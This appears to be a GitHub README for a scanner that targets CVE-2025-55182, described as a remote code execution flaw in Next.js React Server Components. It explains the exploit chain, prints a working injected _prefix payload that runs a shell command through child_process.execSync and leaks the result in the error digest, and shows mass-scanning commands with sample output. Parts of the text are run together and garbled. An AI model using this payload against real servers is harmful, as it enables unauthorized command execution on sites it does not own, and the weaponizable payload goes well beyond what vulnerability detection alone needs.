f0xyx/cve-2025-55182-scannerSecurity scanner for CVE-2025-55182 - Critical RCE vulnerability in React Server Components
This tool checks whether a target is vulnerable to CVE‑2025‑55182, a Remote Code Execution bug caused by unsafe handling of RSC (React Server Components) model payloads inside Next.js.
The vulnerability chains Prototype Pollution → Deserialization Abuse → Server‑Side JavaScript Execution.
Disclaimer: Only use this on systems you legally own or have explicit authorization for. Unauthorized testing = crime, bro.
Next.js internally processes special “model” objects sent via multipart/form-data.
If an attacker injects a malicious structure like a forged thenable, they can poison:
__proto___response._prefixconstructor.constructorThis leads to the server evaluating attacker‑controlled JavaScript, resulting in full RCE.
-u-lid) from server error digestfoxvuln.txtpython3 main.py -u https://target.com
python3 main.py -l list.txt
The payload abuses process.mainModule.require('child_process').execSync() via injected _prefix:
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
This forces the server to execute id and leak the result inside the thrown digest (because RSC errors purposely return a structured “digest” field).
Vulnerable target:
[+] Testing: https://victim.com
[VULN] user : uid=1000(www-data)
Not vulnerable:
[+] Testing: https://secure.com
[NOT VULN]
All confirmed vulnerable URLs get saved to:
foxvuln.txt
Format:
https://victim.com => uid=1000(www-data)
/